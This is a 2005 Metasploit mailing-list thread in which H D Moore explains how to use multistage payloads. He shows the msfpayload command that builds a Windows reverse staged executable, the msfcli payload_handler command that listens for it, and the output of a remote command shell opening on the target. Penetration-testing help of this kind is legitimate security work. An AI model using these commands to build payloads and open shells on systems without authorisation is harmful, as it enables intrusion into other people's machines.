Metasploit mailing list archives

msfpayload problem ( Multistage payloads only return first stage )


From: hdm at metasploit.com (H D Moore)
Date: Fri, 2 Dec 2005 08:40:46 -0600

This is not a problem, if you use msfcli + payload_handler to interact 
with the payload, the next stage will be loaded automatically once the 
connection is made.

For example:

hdm at eip ~ $ msfpayload win32_reverse_stg LHOST=192.168.0.100 LPORT=3333 X 
reverse_staged.exe
Warning: Multistage payloads only return first stage
hdm at eip ~ $ msfcli payload_handler LHOST=192.168.0.100 LPORT=3333 
PAYLOAD=win32_reverse_stg E
[*] Starting Reverse Handler.
[*] Attempting to handle the selected payload...

< now i execute reverse_staged.exe on the target machine >


[*] Got connection from 192.168.0.100:3333 <-> 192.168.0.37:1682
[*] Sending Stage (143 bytes)

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\>   

-HD

On Friday 02 December 2005 07:06, Hamid . K wrote:
It should work fine for normal payloads , but in case
of multi-staged ones ,I`m faced with the error :
"Warning: Multistage payloads only return first stage"

so , I can not use this method . any idea ? :>

Hamid.





__________________________________
Start your day with Yahoo! - Make it your home page!
http://www.yahoo.com/r/hs



Current thread: